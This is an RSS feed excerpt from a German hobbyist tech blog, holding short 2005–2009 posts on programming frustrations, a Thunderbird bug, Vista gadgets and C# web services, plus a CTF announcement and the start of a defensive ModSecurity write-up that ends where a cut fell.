<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">
<channel>
    
    <title>jtb.blog (Entries tagged as Coding)</title>
    <link>http://blog.jensthebrain.de/</link>
    <description>Ein Blog für Technikverliebte, Linux/Windows-Befürworter usw..</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.4 - http://www.s9y.org/</generator>
    <managingEditor>webmaster@jensthebrain.de</managingEditor>
<webMaster>webmaster@jensthebrain.de</webMaster>
<pubDate>Sat, 31 Jan 2009 17:25:33 GMT</pubDate>

    <image>
        <url>http://blog.jensthebrain.de/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: jtb.blog - Ein Blog für Technikverliebte, Linux/Windows-Befürworter usw..</title>
        <link>http://blog.jensthebrain.de/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Aus Fehlern lernen</title>
    <link>http://blog.jensthebrain.de/archives/2009/01/31/Aus-Fehlern-lernen</link>
            <category>Coding</category>
    
    <comments>http://blog.jensthebrain.de/archives/2009/01/31/Aus-Fehlern-lernen#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=671</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=671</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Manchmal kann man sich wirklich nur an den Kopf fassen..&lt;br /&gt;
&lt;br /&gt;
Problemstellung: Fehlerrückmeldungen von MSSQL auslesen und entsprechend handeln.&lt;br /&gt;
&lt;br /&gt;
Lösung: auf den Text &quot;Eine vorhandene Verbindung wurde vom Remotehost geschlossen&quot; prüfen.&lt;br /&gt;
&lt;br /&gt;
Da kann man schon diskutieren.. Aber dann später merken, dass es auch englische Meldungstexte gibt und die Fehlerbehandlung umbauen, so dass auch &quot;An existing connection was forcibly closed by the remote host&quot; erkannt wird - ohne Worte.  
    </content:encoded>

    <pubDate>Sat, 31 Jan 2009 18:25:33 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2009/01/31/671</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>

</item>
<item>
    <title>Overnight Contest an der FH</title>
    <link>http://blog.jensthebrain.de/archives/2008/05/25/Overnight-Contest-an-der-FH</link>
            <category>Coding</category>
            <category>Games</category>
    
    <comments>http://blog.jensthebrain.de/archives/2008/05/25/Overnight-Contest-an-der-FH#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=610</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=610</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Bei uns am &lt;a href=&quot;http://www.fbi.h-da.de&quot;&gt;Fachbereich Informatik&lt;/a&gt; findet gerade der &lt;a href=&quot;http://www.0x10h.de&quot;&gt;Overnight Contest&lt;/a&gt; statt - veranstaltet von einem ehemaligen Studenten. Aufgabe ist es im Team über Nacht ein komplettes Spiel zu programmieren.&lt;br /&gt;
Den Teil Overnight haben die Teilnehmer jetzt hinter sich und die ersten Resultate sehen vielversprechend aus.&lt;br /&gt;
&lt;br /&gt;
Mein Favorit ist derzeit ein Bomberman-Clon. Nichts besonderes? Doch: diese Implementierung läuft im Browser über JavaScript und bietet Multiplayersupport über einen selbstgeschriebenen Webserver in Perl.  
    </content:encoded>

    <pubDate>Sun, 25 May 2008 11:34:59 +0200</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2008/05/25/610</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Games</category>

</item>
<item>
    <title>Fehlerbehebung</title>
    <link>http://blog.jensthebrain.de/archives/2007/08/24/Fehlerbehebung</link>
            <category>Coding</category>
    
    <comments>http://blog.jensthebrain.de/archives/2007/08/24/Fehlerbehebung#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=547</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=547</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Ich weiß manchmal einfach nicht, wie manche Entwickler drauf sind.&lt;br /&gt;
&lt;br /&gt;
Wenn ich eine einfache Software von einer Homepage runterlade, dann kann ich doch erwarten, dass jeder Fehler der bekannt ist und behoben werden konnte auch in dem Download schon gefixt ist.&lt;br /&gt;
&lt;br /&gt;
Komischerweise sehen das manche anders: der Download auf der Projekt-Seite ist fehlerhaft und im Forum steht dann die neue Version.&lt;br /&gt;
Aber anstatt den Download zu fixen kommt als Kommentar:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;QUOTE:&lt;/div&gt;&lt;div class=&quot;bb-quote&quot;&gt;Use the converter file from this topic.  The one on the download page are out of date.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Was soll das? &lt;br /&gt;
Ich kann ja verstehen, dass man manchmal eine Zwischenversion bauen will, aber dann gehört zum einen ein Hinweis darauf direkt unter den Download-Link oder in die Doku. Zum anderen sind über acht Monate reichlich Zeit um einen neuen Converter rauszubringen.  
    </content:encoded>

    <pubDate>Fri, 24 Aug 2007 17:32:08 +0200</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2007/08/24/547</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>

</item>
<item>
    <title>Versionsverwaltung</title>
    <link>http://blog.jensthebrain.de/archives/2006/12/22/Versionsverwaltung</link>
            <category>Coding</category>
            <category>Internet</category>
    
    <comments>http://blog.jensthebrain.de/archives/2006/12/22/Versionsverwaltung#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=455</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=455</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Es ist doch wirklich immer wieder dasselbe. Irgendwie können Entwickler nicht mehr Versionen umgehen.&lt;br /&gt;
&lt;br /&gt;
Sei es nun ein Addon für World of Warcraft - hier im Beispiel &lt;a href=&quot;http://www.ctmod.net/&quot;&gt;CTRaidAssist&lt;/a&gt; oder ein CMS wie &lt;a href=&quot;http://www.joomla.org/&quot;&gt;Joomla&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
CTRA: es wurden immer neue Updates rausgebracht ohne die Version zu erhöhen. Aktueller Stand ist Version 1.621 Update 8. Einfach überprüfen wer seine Version nicht aktualisiert hat (zum Beispiel mit /raversion) ist damit nicht möglich &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Joomla: die aktuelle stabile Version ist 1.0.11 - veröffentlicht am 28.08.2006. Diese Version enthält aber einen Bug, dass man Mambots nicht editieren kann. Der &lt;a href=&quot;http://forum.joomla.org/index.php/topic,89866.msg455550.html#msg455550&quot;&gt;Hotfix ist im Forum&lt;/a&gt; seit dem 29.08.2006 zu finden..&lt;br /&gt;
&lt;br /&gt;
Aber neue Version: keine Spur. Eigentlich wollte ich Joomla mal ausprobieren, aber das versaut mir gleich schon die Freunde am System (ohne Modifikation am Mambot ist der Editor nicht benutzbar wenn man ein Theme mit schwarzem Hintergrund benutzt). Als Einstieger in ein neues System braucht man dann ein weniger länger um sowas zu finden.. In meinen Augen quasi verschwendete Zeit. Das dann auch noch der Hotfix nur für registrierte Benutzer verfügbar ist, ist nur das i-Tüpfelchen &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Update: es geht immer weiter. Gerade wollte ich &lt;a href=&quot;http://www.wowroster.net&quot;&gt;WoWRoster&lt;/a&gt; installieren. Die Version 1.7.1 kam am 4 Juli 2006 raus und wurde am 22 Oktober nochmal aktualisiert. Im &lt;a href=&quot;http://www.wowroster.net/Downloads/details/id=3.html&quot;&gt;Downloadbereich dieser Version&lt;/a&gt; steht schon extra fett: &quot;Don&#039;t forget to check up on any patches for WoWRoster!&quot;. Im Forum muss man sich dann durch fünf &quot;Patches&quot; durchklicken und diese installieren..  
    </content:encoded>

    <pubDate>Fri, 22 Dec 2006 01:27:23 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2006/12/22/455</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Internet</category>

</item>
<item>
    <title>Thunderbird löscht ungefragt Mails</title>
    <link>http://blog.jensthebrain.de/archives/2006/11/24/Thunderbird-loescht-ungefragt-Mails</link>
            <category>Coding</category>
            <category>Internet</category>
    
    <comments>http://blog.jensthebrain.de/archives/2006/11/24/Thunderbird-loescht-ungefragt-Mails#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=434</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=434</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Ich habe vor zwei Tagen eine Mail in Thunderbird vermisst und jetzt darf ich bei &lt;a href=&quot;http://www.heise.de/newsticker/meldung/81529&quot;&gt;Heise lesen, dass Thunderbird ungefragt Mails löscht&lt;/a&gt; &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Hier das Problem bei mir - eine Mail scheint zu fehlen:&lt;br /&gt;
&lt;a class=&quot;imagelink&quot; href=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-ordnerinhalt.PNG&quot; title=&quot;Thunderbird Bug - Ordnerinhalt&quot;&gt;&lt;img id=&quot;image559&quot; src=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-ordnerinhalt.PNG&quot; alt=&quot;Thunderbird Bug - Ordnerinhalt&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Wenn man nach der Mail anhand des Betreffs sucht, wird sie gefunden:&lt;br /&gt;
&lt;a class=&quot;imagelink&quot; href=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-suche.PNG&quot; title=&quot;Thunderbird Bug - Suche&quot;&gt;&lt;img id=&quot;image560&quot; src=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-suche.PNG&quot; alt=&quot;Thunderbird Bug - Suche&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Nachdem ich die MSF-Datei gelöscht habe, funktioniert der Ordnerinhalt wieder..&lt;br /&gt;
&lt;a class=&quot;imagelink&quot; href=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-nach-loschen-der-msf-datei.PNG&quot; title=&quot;Thunderbird Bug - Nach Löschen der msf-Datei&quot;&gt;&lt;img id=&quot;image561&quot; src=&quot;http://blog.jensthebrain.de/upload/2006/11/thunderbird-bug-nach-loschen-der-msf-datei.PNG&quot; alt=&quot;Thunderbird Bug - Nach Löschen der msf-Datei&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Im Bugreport wird leider immer nur von Yahoo-Group-Mails geschrieben. In diesem Ordner liegen aber keine Yahoogroup-Mails und die letzte Mail von einem Yahoo-Absender stammt von 2005..&lt;br /&gt;
&lt;br /&gt;
Aber die Tatsache, dass der Bug nicht sofort gefixt werden soll, stimmt mich irgendwie trauig. Als Entwickler muss man doch ein Gefühl dafür haben, dass kein Benutzer Daten verlieren will.  
    </content:encoded>

    <pubDate>Fri, 24 Nov 2006 12:12:03 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2006/11/24/434</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Internet</category>

</item>
<item>
    <title>Über die Verwendung von Interfaces</title>
    <link>http://blog.jensthebrain.de/archives/2006/07/18/UEber-die-Verwendung-von-Interfaces</link>
            <category>Coding</category>
            <category>Java</category>
            <category>Studium</category>
    
    <comments>http://blog.jensthebrain.de/archives/2006/07/18/UEber-die-Verwendung-von-Interfaces#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=345</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=345</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Mal wieder ein schönes Beispiel zum Thema Programmieren an der Uni. Aufgabe war die Implementierung einer HashTable in Java. Schon die Angabe der verschiedenen Modi der HashTable über Strings brachte mich arg zum stauen (wo es doch in Java 5 so schöne Enumerations gibt und man damit sich kostenlos Schutz durch den Compiler erkauft).&lt;br /&gt;
Aber das Beste war die Verwendung eines Interfaces. Man bekam ein Interface namens EntryInterface gestellt und musste nun eine Klasse namens Entry unter Verwendung dieses Interfaces implementieren.&lt;br /&gt;
Moment – Warum ist der Klassenname Entry vorgegeben?&lt;br /&gt;
Wir haben doch eine schön definierte Schnittstelle und die mitgelieferten Testcases können doch einfach diese nutzen. Dank Interface habe ich ja ein Abstraktionslayer, so dass die reelle Implementierung von EntryInterface niemanden außer dem Entwickler der HashTable-Interna interessieren sollte.&lt;br /&gt;
Beim näheren Anschauen der Testcases lief dann auf, dass diese eine Instanz von Entry benötigen:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;	@Test&lt;br /&gt;
	public&amp;#160;void&amp;#160;testHomeAdress_DivisionLinear&amp;#40;&amp;#41;&amp;#160;{&lt;br /&gt;
		Entry&amp;#160;testEntry1&amp;#160;=&amp;#160;new&amp;#160;Entry&amp;#40;&amp;#41;;&lt;br /&gt;
		testEntry1.setKey&amp;#40;&quot;Z8IG4LDXS&quot;&amp;#41;;&lt;br /&gt;
		testEntry1.setData&amp;#40;&quot;OK&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
Es hat schon einen guten Grund, warum die HashTable in Java anders implementiert ist. Dort muss man nicht ein Objekt übergeben, sondern direkt Key und Data. Eine Klasse weniger nötig zum Benutzen.&lt;br /&gt;
Ein Interface auf eine solche Art zu benutzen ist schon arg komisch. Da gibt es nun wirklich bessere Lösungen..&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Tue, 18 Jul 2006 16:26:29 +0200</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2006/07/18/345</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Java</category>
<category>Studium</category>

</item>
<item>
    <title>Windows Vista Sidebar</title>
    <link>http://blog.jensthebrain.de/archives/2006/02/26/Windows-Vista-Sidebar</link>
            <category>Coding</category>
            <category>Windows</category>
    
    <comments>http://blog.jensthebrain.de/archives/2006/02/26/Windows-Vista-Sidebar#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=227</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=227</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    &lt;a class=&quot;imagelink&quot; href=&quot;http://blog.jensthebrain.de/upload/2006/02/Sidebar.png&quot; title=&quot;Windows Vista Sidebar&quot;&gt;&lt;img style=&quot;float:right;&quot; id=&quot;image222&quot; src=&quot;http://blog.jensthebrain.de/upload/2006/02/Sidebar.thumbnail.png&quot; alt=&quot;Windows Vista Sidebar&quot; /&gt;&lt;/a&gt;Nachdem ich schon ein bißchen über die &lt;a href=&quot;http://blog.jensthebrain.de/archives/2006/02/24/windows-vista-build-5308-erste-eindrucke/&quot;&gt;Sidebar in Windows Vista Build 5308 berichtet habe&lt;/a&gt;, möchte ich nun ein bißchen auf die Programmierung von Gadgets eingehen..&lt;br /&gt;
&lt;br /&gt;
Eigentlich habe ich mich ja gefreut, ein paar nette Gadgets in dotnet programmieren zu können. Aber bislang scheint es so, als ob man Gadgets nur mit Javascript und (D)HTML programmieren könnte. Auch seitens Microsofts war eigentlich die Möglichkeit von &lt;a href=&quot;http://de.wikipedia.org/wiki/XAML&quot;&gt;XAML&lt;/a&gt; &lt;a href=&quot;http://blogs.msdn.com/tims/archive/2004/08/20/217893.aspx&quot;&gt;geplant&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Offizielles Statement aus dem &lt;a href=&quot;http://microsoftgadgets.com/forums/3125/ShowPost.aspx&quot;&gt;MS Gadgets Forum&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote&gt;Yes, I&#039;m sorry to say that we won&#039;t be support WPF (Avalon, or XAML) gadgets in this release of the Sidebar. We really love WPF and are looking at ways to support it in the future, but we think that HTML will be the most interesting to all the existing developers. &lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Das bedeutet für mich schlagartig, dass die Programmierung von Gadgets uninteressant wird. Ich möchte kein relativ eingeschränktes &lt;a href=&quot;http://microsoftgadgets.com/Build/Sidebar%20Reference%20Guide%20February%20CTP.doc&quot;&gt;Sidebar Gadget Object Model&lt;/a&gt;, sondern die ganze Mächtigkeit, die mir dotnet bieten kann. &lt;br /&gt;
&lt;a class=&quot;imagelink&quot; href=&quot;http://blog.jensthebrain.de/upload/2006/02/Gadgets.png&quot; title=&quot;Add Gadgets&quot;&gt;&lt;img style=&quot;float:right;&quot; id=&quot;image225&quot; src=&quot;http://blog.jensthebrain.de/upload/2006/02/Gadgets.thumbnail.png&quot; alt=&quot;Add Gadgets&quot; /&gt;&lt;/a&gt;Wahrscheinlich waren diese Entscheidungen auch der Grund, dass die Sidebar erst so spät in die offiziellen Testbuilds Einzug hielt. Auch die standardmäßig ausgelieferten Gadgets sind nicht gerade viele wie man rechts sehen kann..&lt;br /&gt;
&lt;br /&gt;
Das bedeutet für mich effektiv, dass ich die Sidebar wohl wieder deaktivieren werde. &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;  
    </content:encoded>

    <pubDate>Sun, 26 Feb 2006 14:41:46 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2006/02/26/227</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Windows</category>

</item>
<item>
    <title>Webservices in der Praxis</title>
    <link>http://blog.jensthebrain.de/archives/2006/01/22/Webservices-in-der-Praxis</link>
            <category>Coding</category>
            <category>dotNet</category>
            <category>Java</category>
            <category>Work</category>
    
    <comments>http://blog.jensthebrain.de/archives/2006/01/22/Webservices-in-der-Praxis#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=178</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=178</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Für einen kleinen Dienst auf der Arbeit habe ich einen Webservice gebaut (klar, die Vorteile sprechen für sich: eingebaute Verschlüsslung dank https und Zugriff von fast überall).&lt;br /&gt;
Da der Client auch in C# 2005 geschrieben werden sollte (man will ja mal die neuen Features ausprobieren), habe ich den Webservice natürlich auch gleich in dotNet geschrieben - geht ja auch schön leicht: ein paar Klicks und fertig ist das ganze im Visual Studio 2005.&lt;br /&gt;
&lt;br /&gt;
Getestet und nun kommt das Problem des Deployments - auf dem passenden Server ist zwar nicht ein, nicht zwei sondern schon drei Webserver installiert (Apache2+Tomcat und Lotus Domino).. Upps, da fehlt IIS...&lt;br /&gt;
na ja, als Workaround schnell mal einen IIS installiert und eingerichet, aber wirklich toll ist es nicht.&lt;br /&gt;
&lt;br /&gt;
Also der Plan: den Server-Teil neu in Java programmieren. In der Theorie kein Problem, in der Praxis aber schon. Das generierte &lt;a href=&quot;http://de.wikipedia.org/wiki/WSDL&quot; target=&quot;_blank&quot;&gt;WSDL&lt;/a&gt; vom dotnet-Webservice will die &lt;a href=&quot;http://www.eclipse.org/webtools/main.html&quot; target=&quot;_blank&quot;&gt;WTP-Extension&lt;/a&gt; von Eclipse nicht als korrekt validieren.&lt;br /&gt;
&lt;br /&gt;
Also alles aus der WSDL-Datei entfernen (eigentlich nur SOAP12) - und die Validierung klappt.&lt;br /&gt;
Nun merkt man, dass es nicht (so einfach) wie bei dotNet möglich ist einen SoapHeader zu definieren und in Implementierung anzusprechen..&lt;br /&gt;
&lt;br /&gt;
Nur mal als Beispiel wie einfach das mit dotNet 2.0 ist:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
[WebService(Namespace = &quot;http://mydomain.tld/&quot;)]&lt;br /&gt;
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]&lt;br /&gt;
public class TrackerWebservice : System.Web.Services.WebService&lt;br /&gt;
{&lt;br /&gt;
    public SoapAuthenticationHeader authentication;&lt;br /&gt;
 &lt;br /&gt;
    public TrackerWebservice()&lt;br /&gt;
    {}&lt;br /&gt;
     &lt;br /&gt;
    [WebMethod(Description = &quot;Adds a trackerentry to the tracker&quot;, EnableSession = false)]&lt;br /&gt;
    [SoapHeader(&quot;authentication&quot;)]    &lt;br /&gt;
    public void addEntry(Entry entry)&lt;br /&gt;
    {&lt;br /&gt;
        /* implementation */&lt;br /&gt;
    }&lt;br /&gt;
    // [..]&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
und &lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
public class SoapAuthenticationHeader : SoapHeader&lt;br /&gt;
{&lt;br /&gt;
    private NetworkCredential credentials;&lt;br /&gt;
&lt;br /&gt;
    public NetworkCredential Credentials&lt;br /&gt;
    {&lt;br /&gt;
        get { return credentials; }&lt;br /&gt;
        set { credentials = value; }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sun, 22 Jan 2006 13:57:37 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2006/01/22/178</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>dotNet</category>
<category>Java</category>
<category>Work</category>

</item>
<item>
    <title>&quot;Capture The Flag&quot;-Contest @ 22C3</title>
    <link>http://blog.jensthebrain.de/archives/2005/12/19/Capture-The-Flag-Contest-22C3</link>
            <category>Coding</category>
            <category>Fun</category>
            <category>Hacking</category>
            <category>Linux</category>
    
    <comments>http://blog.jensthebrain.de/archives/2005/12/19/Capture-The-Flag-Contest-22C3#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=139</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=139</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Auf dem 22C3 wird dieses Jahr ein CTF veranstaltet..&lt;br /&gt;
Ich kann nur jedem Besucher raten, so ein CTF anzugucken oder sogar mitzumachen - es ist extrem spaßig, stressig und man kann einiges lernen..&lt;br /&gt;
&lt;br /&gt;
Werbetext:&lt;br /&gt;
&lt;blockquote&gt;Capture The Flag is a hacker contest. Teams of hackers battle against each other in a fight of supremacy in a network full of vulnerable services. The teams&#039; task is to defend a server while simultaneously attacking the other teams&#039; servers.&lt;br /&gt;
&lt;br /&gt;
Usually, at the beginning, all teams have the same services running. A central game server checks the services regularly by sending tickets, the so-called flags, which are collected later on. Every flag that is still there is awarded with scores.&lt;br /&gt;
&lt;br /&gt;
Whenever a team manages to read a flag on another system then their own, they can submit it at the gameserver, thus moving some scores from the defensive team to their own. This way defensive as well as offensive tactics are awarded.&lt;br /&gt;
&lt;br /&gt;
The contest will take place as a event of the 22nd Chaos Communication Congress from 27. - 30. 12, 2005 at Berlin.&lt;br /&gt;
&lt;br /&gt;
General Information about the Congess:&lt;br /&gt;
&lt;a href=&quot;http://events.ccc.de/congress/2005/&quot; target=&quot;_blank&quot;&gt;http://events.ccc.de/congress/2005/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
General Information is availible at&lt;br /&gt;
&lt;a href=&quot;https://events.ccc.de/congress/2005/wiki/Capture_The_Flag&quot; target=&quot;_blank&quot;&gt;https://events.ccc.de/congress/2005/wiki/Capture_The_Flag&lt;/a&gt;,&lt;br /&gt;
&lt;br /&gt;
a Signup-Interface is availible at &lt;a href=&quot;http://events.ccc.de/congress/2005/ctf/&quot; target=&quot;_blank&quot;&gt;http://events.ccc.de/congress/2005/ctf/&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Mon, 19 Dec 2005 13:01:04 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2005/12/19/139</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>Fun</category>
<category>Hacking</category>
<category>Linux</category>

</item>
<item>
    <title>Auswertung vom Hacking-CTF2005</title>
    <link>http://blog.jensthebrain.de/archives/2005/12/15/Auswertung-vom-Hacking-CTF2005</link>
            <category>Coding</category>
            <category>General</category>
            <category>Hacking</category>
            <category>Linux</category>
            <category>Studium</category>
    
    <comments>http://blog.jensthebrain.de/archives/2005/12/15/Auswertung-vom-Hacking-CTF2005#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=137</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=137</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Da nun wieder ein Hacking-CTF zu ende ist, werde ich hier mal meine (kleine) Ausarbeitung über ModSecurity und PHP beim &lt;a href=&quot;http://www.cs.ucsb.edu/~vigna/CTF/&quot; target=&quot;_blank&quot;&gt;iCTF&lt;/a&gt; (Mitte 2005) veröffentlichen (&lt;a href=&quot;http://www.heise.de/newsticker/meldung/60531&quot; target=&quot;_blank&quot;&gt;Heise berichtete&lt;/a&gt;) veröffentlichen.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;h2&gt;Abwehrmassnahmen - modSecurity&lt;/h2&gt;&lt;br /&gt;
Um mehr Informationen über die Webzugriffe auf den Apache zu bekommen, wurde das Modul &lt;a href=&quot;http://www.modsecurity.org/&quot; target=&quot;_blank&quot;&gt;modSecurity&lt;/a&gt; installiert und mit einem Logging-Regelwerk versehen. Da die Direktive &quot;Kein Blocken sondern Patchen&quot; bestand, wurden die Fähigkeiten von modSecurity nur teilweise benutzt. Dennoch half modSecurity zum einen während dem Wettkampf und zum anderen bei der späteren Auswertung der Zugriffe auf den Webserver.&lt;br /&gt;
Das Regelwerk kann man in mehrere Bereiche unterteilen:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Erkennung von Standard-Angriffen wie z.B. SQL-Injection&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Warnen falls eine Flag an einen Client geschickt wurde (Flagdetection)&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Erkennen von Scans (z.B. durch Nessus oder nmap)&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Erkennung von Standard-Angriffen&lt;/h3&gt;&lt;br /&gt;
Neben den integrierten Analyse-Modulen wurden für den Wettbewerb noch einige andere Regeln zusammengestellt. Eine gute Einstiegsquelle dafür ist die Liste der konvertierten Snort Rules (leider nicht mehr online verfügbar) sowie das modSecurity-Kapitel vom &lt;a href=&quot;http://www.apachesecurity.net/&quot; target=&quot;_blank&quot;&gt;Apache Security Buch&lt;/a&gt; und natürlich die &quot;largest collections of modsecurity rules and signatures on the Internet&quot; von &lt;a href=&quot;http://www.gotroot.com/tiki-index.php?page=ModSecurity&quot; target=&quot;_blank&quot;&gt;gotRoot&lt;/a&gt;. Das komplette modSecurity-Regelwerk für den Wettbewerb wird hier allerdings nicht freigegeben.&lt;br /&gt;
&lt;br /&gt;
